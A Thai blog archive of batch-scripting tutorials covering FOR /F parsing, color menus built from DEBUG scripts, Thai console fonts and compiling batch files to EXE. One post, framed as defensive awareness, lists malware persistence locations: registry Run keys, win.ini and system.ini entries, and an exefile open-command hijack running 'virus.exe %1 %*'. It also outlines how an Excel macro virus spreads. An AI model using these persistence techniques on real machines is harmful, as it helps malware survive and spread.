วันศุกร์ที่ 28 มิถุนายน พ.ศ. 2556

ปูพื้นฐาน(ขั้นเทพ) Batch File ตอน 4

วันนี้...เราจะมาทำ Batch File ให้เป็น Application ... จริงๆ แล้วตัว Batch ไม่สามารถเป็น Application ได้นะครับ...เพียงแต่โปรแกรมพวกนี้...จะเ็ป็นโปรแกมที่เก็บโค้ด Batch File ไปบรรจุในตัว .EXE หรือ Application อีกที...เพื่อความสะดวกในการพกพาหรือเรียกใช้งาน...และโปรแกรมจำพวกนี้...ขอดีคือมันสามารถเปลี่ยนหน้า Icon ให้กับ ตัวโปรแกรมได้ด้วยจึงทำให้น่าใช้งาน...ที่สำคัญคือ...บรรจุแฟ้มอื่นๆ โดยการ Include เพื่อติดตั้งหรือเรียกใช้แฟ้มนั้นๆ ได้ด้วยเช่น คลิป หรือ เพลง หรือ เกมส์ต่างๆ
มาดูการใช้งานเบื่องต้นการ
วิธีการ Compile Batch file กัน

หน้าตาของโปรแกรมประมาณนี้...
1.ติกตรง [...] เพื่อเลือก Batch File ที่ต้องการตามภาพ

2. เลือก Temporary เพื่อซ่อนแบตช์ไฟล์ไปที่นั้น...และไม่เกะกะ จากนั้น compile ซะ
3. จะได้โปรแกรมตามที่ต้องการ...ถ้าปรับแต่ง... Icon ลองหา Icon มาปรับแต่งดูนะครับ...

โปรแกรมนี้ Download ที่นี้ >>>แปลง Batch File เป็น EXE

ส่วนดูตัวอย่างโปรแกรมที่แปลงแ้ล้วตามนี้...>>>ตัวอย่าง Batch File โปรแกรม พร้อม Pull down Menu


วันอังคารที่ 25 มิถุนายน พ.ศ. 2556

ปูพื้นฐาน(ขั้นเทพ) Batch File ตอน 3

การสร้างเมนูพลูดาวน์ (Pull Down Menu form Batch File)?
ดูจากภาพจะเห็นว่า...มันมีสีใน CMD หรือกำหนดสีใน Batch File ได้ด้วย ความเป็นจริงทำได้...แต่ต้องอาศัยตัวช่วยหน่อยคือ colormsg.com ส่วนการรับคีย์แบบ Pull down นั้นต้องอาศัย getkey.com ซึ่งทั้งสองไฟล์นี้สามารถถูกสร้างขึ้นด้วย DeBug Script ได้ ซึ่งผู้เขียนศึกษาเทคนิคเหล่านี้มานาน...เลยประยุกต์รวมให้ผู้อ่านเองสามารถนำไปเขียนเป็นโปรแกรมที่ทำงานอย่างสวยงามได้
ตัวอย่างโปรแกรม
@echo off
rem สร้างคำสั่ง conlormsg.com เพื่อให้ CMD สามารถกำหนดสีได้
(  echo e100
   echo 0F B6 0E 80 00 E3 4F BF 81 00 B0 20 FC F3 AE 74
   echo e110
   echo 45 E3 43 8A 45 FF E8 43 00 80 3D 20 74 0E C0 E0
   echo e120
   echo 04 8A E0 8A 05 E8 34 00 0A C4 47 49 E3 28 32 E4
   echo e130
   echo 50 B0 22 F2 AE 75 1F E3 1D 8B F7 8B D1 F2 AE 75
   echo e140
   echo 01 41 2B D1 74 10 8B CA 5B B0 20 B4 09 CD 10 AC
   echo e150
   echo B4 0E CD 10 E2 F9 32 C0 B4 4C CD 21 3C 61 72 02
   echo e160
   echo 2C 20 3C 41 72 02 2C 07 2C 30 C3
   echo rcx
   echo 6b
   echo w
   echo q
) | debug colormsg.com

rem สร้างคำสั่ง getkey.com เพื่อให้ รับคีย์แบบเมนูได้
( echo n getkey.com
  echo a 100
  echo mov ah,00
  echo int 16h
  echo mov al,ah
  echo mov ah,4c
  echo int 21
  echo ret
  echo.
  echo rcx
  echo 0A
  echo w
  echo q
) | debug.exe getkey.com

set /a a=1
:MainMenu
color E
cls
echo ##################################################
echo #####   ###  #####       ##     ## ##### ##     ##
echo #### ###### # ####### ##### ####### ### ### ######
echo ### ####### ## ###### ##### ######## # #### ######
echo ### ####### ### ##### #####    ###### #####    ###
echo #### ### ##      #### ##### ######### ##### ######
echo #####   ### ##### ### #####     ##### #####     ##
echo ##################################################
echo. & if %a% == 1 (colormsg bf "    Menu 1    ") else (colormsg 06 "    Menu 1    ")
echo. & if %a% == 2 (colormsg bf "    Menu 2    ") else (colormsg 06 "    Menu 2    ")
echo. & if %a% == 3 (colormsg bf "    Menu 3    ") else (colormsg 06 "    Menu 3    ")
echo. & if %a% == 4 (colormsg bf "    Menu 4    ") else (colormsg 06 "    Menu 4    ")
echo.
echo.
echo Press Airrow Key and Enter or Esc to Quit
getkey.com
if %errorlevel%==1 goto :EscapeKey
if %errorlevel% == 28 goto :EnterKey
if %errorlevel% == 72 goto :Up
if %errorlevel% == 75 goto :Left
if %errorlevel% == 77 goto :Right
if %errorlevel% == 80 goto :Down
goto :MainMenu

:Down
:Right
set /a a=%a%+1
rem %a% == จำนวนบรรทัดเมนู + 1 set /a=1
if %a% == 5 set /a a=1
goto :MainMenu

:Up
:Left
set /a a=%a%-1
rem %a% == 0 set /a a=จำนวนบรรทัดเมนู
if %a% == 0 set /a a=4
goto :MainMenu

:EnterKey
rem เรียกโปรแกรมตามเมนูที่ต้องการด้วย call :Program
if %a%==1 call :Menu1
if %a%==2 call :Menu2
if %a%==3 call :Menu3
if %a%==4 call :Menu4
goto :MainMenu

rem เพิ่มคำสั่งตามโปรแกรมที่ต้องการทำงานดังตัวอย่างปิดท้าย goto :EOF
:Menu1
echo Menu 1
pause
goto :EOF

:Menu2
echo Menu 2
pause
goto :EOF

:Menu3
echo Menu 3
pause
goto :EOF

:Menu4
echo Menu 4
pause
goto :EOF

:EscapeKey
del getkey.com
del colormsg.com
set a=
color

มันทำงานอย่างไร?
หลักการเขียนโปรกรมดังนี้
0. เพิ่มโมดูลบรรทัดสีเขียว
1. ต้องเปลี่ยนบรรทัดสีแดง 
1.1 เพิ่มเมนูเข้ามาทีละบรรทัดตามตัวอย่าง สีให้เป็นค่าฐานสิบหก ส่วนข้อความต้องมีเครื่องหมายคำพูด
1.2 ตัวแปร a ในบรรทัดถัดไปต้องเป็นจำนวนบรรทัดเมนูตามที่ระบุ...เพื่่อให้แบตช์ไฟล์สามารถนำไปคำนวนหาตำแหน่งในการเปลี่ยนเมนู
2. ต้องเพิ่มคำสั่งในบรรทัดสีเหลืองคือเมนูที่ต้องการเรียกใช้งานและโปรแกรมที่จะเรียกใช้งาน
3. ต้องเพิ่มโปรแกรมที่ต้ืองการทำงานตามบรรทัดสีชมพูเพื่อให้เมนูทำงานได้สมบรูณ์ใ้ห้สร้างตำแหน่งและปิดท้าย goto :EOF ทุกครั้งเสมอ

หลักการทำงาน
0. โมดูลคำสั่งจะถูกสร้างทุกๆ ครั้งที่เรียกใช้งาน
1. บรรทัดสีแดงจะคำนวนและเคลื่อนไหวเมนู
2. บรรทัดสีเหลืองจะทำการรับตัวแปรหลังกด Enter มาคำนวนเพื่อแยกการทำงาน
3. บรรทัดสีชมพูคือส่วนของคำสั่งที่จะให้แบตซ์ไฟล์ทำงานอย่างแท้จริง

ตัวอย่างเมนูภาษาไทย?



ลองนำไปประยุกต์ใช้งานให้ Batch File คุณสวยขึ้น?
ลองดูนะครับ...ปรับเทคนิคเป็นของท่านเอง...และเขียน Batch File ให้สวยขึ้นและลองโพสต์มาอวดกัน
ส่วนคราวหน้า...จะซ่อนคำสั่งที่เป็นลิขสิทธิ์ของท่านใส่โปรแกรม Convert Batch File to EXE เพื่อให้เป็นความลับ...และ Batch File จะถูกเขียนขึ้นเป็นโปรแกรมที่มีเอกลักษณ์เสียที

ทำความเข้าใจ Batch File Virus ตอน จบ

ปิดท้ายบทสรุป...ที่อยู่ไวรัส...และการป้องกัน...โดยภาพรวม?
วิธีที่จะใช้ Batch File เขียนไวรัสนั้นมีมากมายครับ...ผู้เขียนขอนำเสนอขั้นพื้นฐานเป็นพอครับ...เพราะไม่เล่งเห็นประโยชน์ในการนำเสนอการเขียนไวรัสทุกๆ รูปแบบคำสั่ง และทุกรูปแบบการเจาะระบบ...เพราะด้วยตัวของไวรัสเอง...ก็ไม่ได้มีประโยชน์อะไรมากไปกว่า...ก่อกวน...สร้างความรำคาญ...เพียงแต่อยากให้เห็นว่า...ช่องทางและการโจมตีระบบในรูปแบบดังกว่ายังมีอยู่ในปัจจุบัน...ผู้เขียนยังเห็นอีกว่า...แม้แต่ Execl ที่นิยมใช้งานในธุรกิจเอง...ก็มีช่องโหว่...ที่ยังไม่ถูกปิดเหมือนกัน...แต่การนำเสนอนั้นเป็นโทษมากกว่าประโยชน์จึงไม่อาจเปิดเผยได้...แต่ผู้ที่จะเป็นผู้ดูแลระบบหรือ แฮกเกอร์ระดับหมวกเทา...ต้องมีึึความรู้ีรอบตัวมากพอสมควร...ไม่ใช่เอะอะ...อะไรก็พึ่งพา "แอนตี้ไวรัส" ที่มันมีทั้งดีมาก...และห่วยแตก...ฉนั้้น...สมองมือ กับ หนึ่งมันสมอง...จะมีทางแก้ปัญหาเฉพาะหน้าที่ดีกว่าพวกมันเยอะ แต่อย่างไรก็ดีเครื่องทุกๆ เครื่องควรมีภูมิคุ้มกันไว้..เพราะไม่มีเครื่องใด...ในโลก...ที่ไม่เคยผ่านมือไวรัส...(ยกเว้นพึ่งซื้อมาใหม่...Hello World Babie) ฉนั้นภูมิคุ้มกันสำคัญอย่างมาก...ไม่ว่าคุณจะฝีมืออยู่ระดับใด...แต่แอนตี้ไวรัสยังจำเป็นต้องอาศัยมันทำงานอยู่เสมอ...เพราะ โค้ดไวรัส...ไม่ได้เดินอยู่บนหน้าจอให้เห็นและคลิกลบมันออกไปได้...เพราะมันทำงานโดยที่เราหรือโปรแกรมเมอร์เอง...ยังไม่รู้...ว่าวิญญาณไฟฟ้าอิเล็กทรอนิกส์จำพวกนี้...มันอยู่ในฮาร์ดดิสก์ส่วนใด...หรือยู่ในหน่วยความจำตำแหน่งใด...มีเพียงโปรแกรมด้วยกันเท่านั้นที่รู้...และสังเกตพฤติกรรมของพวกมันได้ (แต่บางจำพวกเช่นหนอนจะแสดงตัวมันเองเป็นไอคอนหรือจำลองไฟล์ตัวอื่นให้สังเกตเห็นถ้าผู้ใช้ระดับสูงจะสังเกตพฤติกรรมของมันไ้ด้)

มาดูถึงโครงสร้าง XP ระบบปฏิับัติการที่พรุ่นไปด้วยรู "ปลวก" ที่ไวรัสสามารถสิ่งสถิตย์ได้?
1. สตร์ทอัปโฟลเดอร์อย่างที่ยกตัวอย่างไปในตอนแรก คีย์ในการปรับแต่งพวกมันอยู่ใน "ฮีฟ, Hive" ต่อไปนี้
1.1[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
Startup="C:\windows\start menu\programs\startup"
1.2[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders]
Startup="C:\windows\start menu\programs\startup"
1.3[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\User Shell Folders]
"Common Startup"="C:\windows\start menu\programs\startup"
1.4[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Shell Folders]
"Common Startup"="C:\windows\start menu\programs\startup"
2. Win.ini ซึ่งไวรัสที่ทำงานในโหมด 16 บิต เชื่อมต่อ 32 บิต เ่ท่านั้นที่ทำงานได้
อยู่ในคีย์ต่อไปนี้
[windows]
load=virus.exe
run=virus.exe

3. System.ini ไวรัสในโหมดนี้สามารถทำงานได้ทันทีเมื่อเปิดเครื่อง...หรือหากท่านเป็นผู้ดูแลระบบอาจเขีัยนโปรแกรม "ฮุก; Hook" ส่วนนี้ไว้ก่อน
[boot]
Shell=Explorer.exe virus.exe

4. c:\windows\winstart.bat (ผู้เขียนคัดลอกมาจากต่างประเทศแต่ไม่เคยรู้เหมือนกันว่าไฟล์็นี้ทำงานได้จริงไหม...น่าจะ Batch File Mode Command.com)

5. สตาร์ทอัป Registry (เป็นคีย์สำคัญที่ไวรัสร้อยละ 80 อาศัยอยู่)
5.1[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
    "ชื่อคีย์"="โดร์ฟ:\โฟลเดอร์ที่อยู่ไวรัส\virus.exe"
5.2[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
    "ชื่อคีย์"="โดร์ฟ:\โฟลเดอร์ที่อยู่ไวรัส\virus.exe"
5.3[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
    "ชื่อคีย์"="โดร์ฟ:\โฟลเดอร์ที่อยู่ไวรัส\virus.exe"
5.4[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
    "ชื่อคีย์"="โดร์ฟ:\โฟลเดอร์ที่อยู่ไวรัส\virus.exe"
5.5[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
    "ชื่อคีย์"="โดร์ฟ:\โฟลเดอร์ที่อยู่ไวรัส\virus.exe"
5.6[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
    "ชื่อคีย์"="โดร์ฟ:\โฟลเดอร์ที่อยู่ไวรัส\virus.exe"
5.7[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
    "ชื่อคีย์"="โดร์ฟ:\โฟลเดอร์ที่อยู่ไวรัส\virus.exe" 

6. c:\windows\wininit.ini ไวรัสอาศัยคีย์นี้ครั้งเดียวและจะล่องหนไปตลอดกาล
[Rename]
NUL=c:\windows\virus.exe

7. c:\windows\systemp32\Autoexec.nt ' แฟ้มนี้ใน XP นั้นทำงานได้จริงและไวรัสและคำสั่งที่อยู่ในนี้เป็นพื้นฐานสำคัญของระบบ...หากเสียหาย...เสียงหรือไฟล์บางอย่างอาจจะไม่ทำงาน

8. ไวรัสเรียกตัวเองผ่าน Shell Key ใน Registry
ตัวอย่าง
[HKEY_CLASSES_ROOT\exefile\shell\open\command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\comfile\shell\open\command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\batfile\shell\open\command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\htafile\Shell\Open\Command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\piffile\shell\open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\Open\Command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command] @="\"%1\" %*"
ไวรัสจะอาศัย พารามิเตอร์ %1 เพื่อเีรียกโปรแกรมของแฟ้มเป้าหมาย โดยที่ %2 ไวรัสจะดูว่าตัวมันติดเชื้้อหรือทำอะไรกับแฟ้มเ้ป้าหมายหรือปล่อยไปดังนี้
"virus.exe %1 %*"

9. เรียกตัวเองผ่านพาหะติดเชื้อโดยตรง...วิธีที่นี้เสนอตัวอย่างไปในตอน 2 ซึ่้่งเป็นหลักการง่ายๆ แต่แอนตี้ไวรัสไม่สามารถป้องกันได้เช่น
9.1 Excel Virus ถูกเปิด
9.2 ไวรัสที่อาศัยสตาร์ทอัป Module ทำงาน
9.3 ค้นหาแฟ้ม Excel ตัวต่อไปในเครื่อง
9.4 ติดเชื้อพาหะ
9.5 รอมีการเรียกใหม่....(เพราะสมัยนี้...มาโครถูกเรียกใช้โดยไม่ได้ตรวจสอบที่อยู่หรือแหล่งอ้างอิงที่เชื่อถือได้...ทำให้มีโอกาศถูกเล่นงาน)
วิธีนี้นักเขียนไวรัสไม่จำเป็นต้องมีความรู้อะไรมากมายในโครงสร้าง Excel แต่โจมตีด้วยหลักการง่ายๆ และยังได้ผลในปัจจุบัน...

หวังว่าจะได้ความรู้เกี่ยวกับไวรัสไม่มากก็น้อยนะครับ...

วันศุกร์ที่ 21 มิถุนายน พ.ศ. 2556

การใช้เว็บเป็นเครื่องมือแสดงผลภาษาไทย Batch File ตอนจบ


ในที่สุดก็หาวิธีเซ็ตฟอนต์ภาษาไทยได้สำเร็จครับ...ดูเว็บต่างประเทศเป็นแม่แบบ เลยประยุกต์วิธีการทำงานเอา... ลองทำตามดูนะครับ...

การทำให้ CMD พิมพ์ภาษาไทยได้?
1. Download Font และ ติดตั้ง...(ตามแต่ละระบบปฏบัติการ ถ้า XP ต้องเข้า Control Panel...Font... ส่วน Windows 7-8 สามารถคลิกขวา Install ได้เลย)
Download Font Thai สำหรับ Console
2. คัดลอกคีย์ไปใช้งานบันทึกชื่อ SetFontThai.REG
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Console\Nls]
"0000041e"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Console\TrueTypeFont]
@="Courier MonoThai"
"0"="Lucida Console"
"00"="Courier MonoThai"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\MS-DOS Emulation]
"DisplayParams"=hex:40,01,00,00,f0,00,00,00,00,04,00,00,00,03,00,00,60,00,00,\
  00,60,00,00,00,24,00,00,00,24,00,00,00,10,00,00,00,4c,00,75,00,63,00,69,00,\
  64,00,61,00,20,00,43,00,6f,00,6e,00,73,00,6f,00,6c,00,65,00,00,00,12,00,91,\
  ad,f5,77,e0,00,12,00,b0,e2,3e,77,74,23,dd,77,a8,f8,ca,01,ba,6d,d4,77,ec,6d,\
  d4,77,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,d8,f8,ca,01,15,e4,4a,\
  77,01,00,00,80,b0,e2,3e,77,00,00,00,00,19,00,02,00,d4,f8,ca,01,a4,03,00,00,\
  00,00,00,00,20,b4,5c,77,89,e4,4a,77,01,00,00,80,20,b4,5c,77

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\MS-DOS Emulation\Font]
"Font"="Courier MonoThai"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout\DosKeybCodes]
"0000041e"="th"
"0001041e"="th"
"0002041e"="th"
"0003041e"="th"

3. ติดตั้งคำสั่งที่คัดลอกไป...เพื่อทำงาน
4. รีสตาร์ทเครื่อง 1 ครั้ง...
5. เข้า start...run...CMD คลิกขวา ที่ Title Bar และเลือก Properties และเลือกแท็บ Font เลือก Font ชื่อ
Courier Thai ตกลง
6. ลองพิมพ์ ภาษาไทยที่ CMD ดูครับ...


การคืนค่า...Font ตัวเดิม...ที่ CMD?
1. คัดลอกคำสั่งสั่ง...และบันทึกชื่อ ResetFont.REG
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Console\Nls]
"0000041e"=-

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Console\TrueTypeFont]
@=""
"0"="Lucida Console"
"00"=-


[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\MS-DOS Emulation]
"DisplayParams"=-

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\MS-DOS Emulation\Font]
"Font"="Lucida Console"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout\DosKeybCodes]
"0000041e"=-
"0001041e"=-
"0002041e"=-
"0003041e"=-

2. และเีรียกใช้งาน
3. รีสตาร์ท 1 ครั้้ง...เรียบร้อย


ที่นี้...สามารถทำเมนูภาษาไทยติดต่อกับผู้ใช้งานได้ดังภาพ

สรุป?
สำหรับผมแล้ว...ชอบวิธีที่แสดงผลนอก Console มากกว่า...มีทั้งการใช้ VBScript สร้างการเชื่อมต่อกับผู้ใช้งาน...และการใช้ VB Application เขียนโปรแกรมสนับสนุนภาษาไทย...หรือใช้เวปอย่างที่เคยกล่าวมาแล้ว...แต่รู้สึกกับแง่ลบของการแสดงผลภาษาไทยที่ Console มาก เพราะมันมีแต่ปัญหาที่มันไม่สนับสนุนภาษาไทย...เลยทั้งเรื่องตัดคำ...สระกระโดด...สระซ้ำ...สระลอย...ซึ่งถ้าจะใช้ Batch File เขียนโปรแกรมภาษาไทยบน Console ในอดีต...โปรแกรมเมอร์จะใช้ DOS Mode ทีมี Thai.EXE ของ "จุฬาลงกรณ์มหาวิทยาลัย" สนับสนุน... หรือ ใช้งาน TSM.EXE ของบริษัืท TSM เอง และบริษัทอื่นๆ ที่มีภาษาไทยบน DOS ครับ เพียงแต่คุณต้องทำความเข้าใจก่อนว่า... DOS Mode กับ Console บน Windows มันใกล้เคียงกันก็จริง...แต่ "เซกชั่นเดียว" กับ "มัลติเซกชั่น"  การทำงานมันต่างกันครับ...รวมถึงเรื่องทรัพยากรและการเข้าถึงโปรแกรมนั้นมันต่างกันไปด้วย...ซึ่งกล่าวคือ...มันไม่ใช่ตัวเดียวกัน...อธิเช่น Console สามารถกำหนด Font รวมถึงจำนวนบรรทัดและคอลัมภ์การแสดงผลได้ครับ...ส่วน DOS ทำได้...แต่ทำได้ด้วย โปรแกรม Driver เ่ท่านั้น

ในเรื่องของการแสดงผลการทำงานวิธีอื่นๆ ยังไม่จบนะครับทั่ง
1. แสดงผล Batch File บน หน้าจอด้วยโปรแกรมที่สร้างจาก VB6
2. แสดงผลรูปแบบที่สูงขึ้นแบบเดียวกัย Auto It
เทคนิคเหล่านี้...จะมาสาธิตในตอนใหม่ที่ชื่อ "การทำงาน Batch File ร่วมกับ VB6" รอพบกันนะครับ

วันพุธที่ 19 มิถุนายน พ.ศ. 2556

ปูพื้นฐาน(ขั้นเทพ) Batch File ตอน 2


มาต่อ For /f กัน...
่ก่อนอื่นดู dir *.* เครื่องนี้ว่าเป็นยังไงกันก่อน
 Volume in drive C is Windows 7
 Volume Serial Number is 6C82-C13D

 Directory of C:\

06/11/2009  04:42 AM                24 autoexec.bat
06/11/2009  04:42 AM                10 config.sys
05/10/2013  10:23 PM    <DIR>          Drivers
05/10/2013  10:25 PM    <DIR>          Intel
05/13/2013  02:48 PM    <DIR>          Kpcms
06/08/2013  01:49 PM    <DIR>          Program Files
05/10/2013  09:36 PM    <DIR>          Users
06/18/2013  04:38 PM         1,764,228 wialog.txt
06/10/2013  11:13 AM    <DIR>          Windows
               3 File(s)      1,764,262 bytes
               6 Dir(s)  96,140,525,568 bytes free

for /f "tokens=1,3-4" %%l in ('dir *.*') do echo %%l %%m %%n
หมายถึง เก็บบรรทัด dir *.* คอลัมภ์ 1 ใส่ %%l และ คอลัมภ์ 3 - 4 ใ่ส่ %%m-%%n
Volume drive C
Volume Number is
Directory C:\
06/20/2013 AM 73
06/11/2009 AM 24
06/11/2009 AM 10
05/10/2013 PM <DIR>
05/10/2013 PM <DIR>
05/13/2013 PM <DIR>
06/08/2013 PM <DIR>
05/10/2013 PM <DIR>
06/18/2013 PM 1,764,228
06/10/2013 AM <DIR>
4 1,764,335 bytes
6 96,140,525,568 bytes
*** สังเกตุ คอลัมภ์ 2 หายไป...เพราะถูกข้าม

for /f "tokens=1,3*" %%l in ('dir *.*') do echo %%l %%m %%n
หมายถึง เก็บบรรทัด dir *.* คอลัมภ์ 1 ใส่ %%l และ คอลัมภ์ 3 ใ่ส่ %%m ส่วน คอลัมภ์ที่ 4ไปจนสุด ใส่ %%n
Volume drive C is Windows 7
Volume Number is 6C82-C13D
Directory C:\
06/20/2013 AM 72 1.bat
06/11/2009 AM 24 autoexec.bat
06/11/2009 AM 10 config.sys
05/10/2013 PM <DIR>          Drivers
05/10/2013 PM <DIR>          Intel
05/13/2013 PM <DIR>          Kpcms
06/08/2013 PM <DIR>          Program Files
05/10/2013 PM <DIR>          Users
06/18/2013 PM 1,764,228 wialog.txt
06/10/2013 AM <DIR>          Windows
4 1,764,334 bytes
6 96,140,328,960 bytes free
*** สังเกตุ สามารถใช้ * เพื่อบอกสิ้นสุดข้อมูลได้

for /f "tokens=* skip=4" %%l in ('dir *.*') do echo %%l
หมายถึง เก็บบรรทัด dir *.* ข้ามมา 4 บรรทัด ทุกคอลัมภ์ ใส่ %%l
06/20/2013  10:01 AM                68 1.bat
06/11/2009  04:42 AM                24 autoexec.bat
06/11/2009  04:42 AM                10 config.sys
05/10/2013  10:23 PM    <DIR>          Drivers
05/10/2013  10:25 PM    <DIR>          Intel
05/13/2013  02:48 PM    <DIR>          Kpcms
06/08/2013  01:49 PM    <DIR>          Program Files
05/10/2013  09:36 PM    <DIR>          Users
06/18/2013  04:38 PM         1,764,228 wialog.txt
06/10/2013  11:13 AM    <DIR>          Windows
4 File(s)      1,764,330 bytes
6 Dir(s)  96,139,554,816 bytes free
*** สังเกตุ จะไม่มี 4 บรรทัดแรกมาแสดงผล

for /f "tokens=* skip=4 eol=4" %%l in ('dir *.*') do echo %%l
หมายถึง เก็บบรรทัด dir *.* ข้ามมา 4 บรรทัด ทุกคอลัมภ์ ใส่ %%l ไม่นำบรรทัดที่ 4 นำหน้ามาคำนวน
(eol=รับข้อมูลได้แค่ตัวอักษร เดียว)
06/20/2013  10:06 AM                74 1.bat
06/11/2009  04:42 AM                24 autoexec.bat
06/11/2009  04:42 AM                10 config.sys
05/10/2013  10:23 PM    <DIR>          Drivers
05/10/2013  10:25 PM    <DIR>          Intel
05/13/2013  02:48 PM    <DIR>          Kpcms
06/08/2013  01:49 PM    <DIR>          Program Files
05/10/2013  09:36 PM    <DIR>          Users
06/18/2013  04:38 PM         1,764,228 wialog.txt
06/10/2013  11:13 AM    <DIR>          Windows
6 Dir(s)  96,139,558,912 bytes free
*** สังเกตุ จะมีบรรทัด 4 File(s)      1,764,330 bytes มาแสดงผล
for /f "tokens=1-3,7* skip=4 delims=/ " %%l in ('dir *.*') do echo %%l %%m %%n %%o
หมายถึง เก็บบรรทัด dir *.* ข้ามมา 4 บรรทัด คอลัมภ์ให้วรรคด้วย / ดึงใส่ %%l %%m %%n จากนั้นวรรคด้วย Space bar ใส่ใน %%o
06 20 2013 1.bat
06 11 2009 autoexec.bat
06 11 2009 config.sys
05 10 2013 Drivers
05 10 2013 Intel
05 13 2013 Kpcms
06 08 2013 Program
05 10 2013 Users
06 18 2013 wialog.txt
06 10 2013 Windows
4 File(s) 1,764,357
6 Dir(s) 96,136,192,000
*** สังเกตุ วันเดือนปี ถูกแยกออกมาเป็น คอลัมภ์
จบเรื่องของ For และ คราวหน้าเจอกันใหม่...

ปูพื้นฐาน(ขั้นเทพ) Batch File ตอน 1

การเขียนแบตช์ไฟล์เพื่อให้ได้โปรแกรมตามเป้าหมาย...บางครั้งผู้ที่เขียนติดนู่นติดนี่...ก็ล่มเิลิกเสียแล้วเพราะโปรแกรมด้านนี้...ต้องอาศัยผู้ที่มีความเพียร...และ "บ้าพลัง" อย่างมาก...ต้องการเอาชนะอุปสรรคและขีดจำกัดของภาษา ซึ่งผู้เขียนเรียนรู้ในตอนแรก...แทบจะไม่ได้อะไรจากมันมาก...แต่พอคิดจะเอามันมาเขียนเกมส์ "คำตอบเสียงดังในหัวคือ บ้าไปแ้ล้ว" แต่มันก็จริง "บ้าไปแล้ว" เอา Batch File มาเขียนเกมส์ แต่ขีดจำกัดและอุปสรรคนั้น...เป็นแรงผลักดันสำหรับพวก "บ้าพลัง" ฉนั้น...ต้องข้ามฝ่าไปให้ได้
วันนี้เรามาเรียนแบบก้าวกระโดดอีกแหละ...กับขีดจำกัดใหม่ๆ ของ CMD.EXE ซึ่งแตกต่างจากการเขียนโปรแกรมในยุคก่อนๆ มาก...

ไม่จำเป็นอีกแล้ว...ต้องต่อ Pipe ทุกบรรทัดเพื่อยิงคำสั่งไปยังแฟ้มที่ต้องการ?
เมื่่อก่อนคุณเองต้องการสร้างแฟ้ม ReadMe.TXT เพื่อจะบอกคุณสมบัติโปรแกรมแต่บางครั้งต้องส่งคำสั่ง > และ >> เพื่อยิ่งคำสั่ง Echo ไปยังเป้าหมาย...แต่ใน CMD.EXE นั้นไม่ต้องทำอย่างนั้นอีกแล้ว...ให้คุณระบุ ( "วงเล็บเปิด" และ "ชุดคำสั่งกี่บรรทัดก็ว่ามา" และ ) "วงเล็บปิด" ตามด้วย Pipe ที่ยิง ดังนี้
@echo off
rem คำสั่ง DOS Batch File ยุคก่อน
echo นี้คิือข้อความทดสอบบรรทัดที่ 1>ReadMe.TXT
echo นี้คิือข้อความทดสอบบรรทัดที่ 2>>ReadMe.TXT
echo นี้คิือข้อความทดสอบบรรทัดที่ 3>>ReadMe.TXT
echo นี้คิือข้อความทดสอบบรรทัดที่ 4>>ReadMe.TXT
echo นี้คิือข้อความทดสอบบรรทัดที่ 5>>ReadMe.TXT
echo นี้คิือข้อความทดสอบบรรทัดที่ 6>>ReadMe.TXT
start ReadMe.TXT

ในปัจจุบันเป็นแบบนี้...

@echo off
rem คำสั่ง Batch File ยุคใหม่
( echo นี้คิือข้อความทดสอบบรรทัดที่ 1
  echo นี้คิือข้อความทดสอบบรรทัดที่ 2
  echo นี้คิือข้อความทดสอบบรรทัดที่ 3
  echo นี้คิือข้อความทดสอบบรรทัดที่ 4
  echo นี้คิือข้อความทดสอบบรรทัดที่ 5
  echo นี้คิือข้อความทดสอบบรรทัดที่ 6
)>ReadMe.TXT
start ReadMe.TXT

ไม่จำเป็นอีกแล้ว...ที่ต้องระบุตำแหน่งสิ้นสุด Batch File?
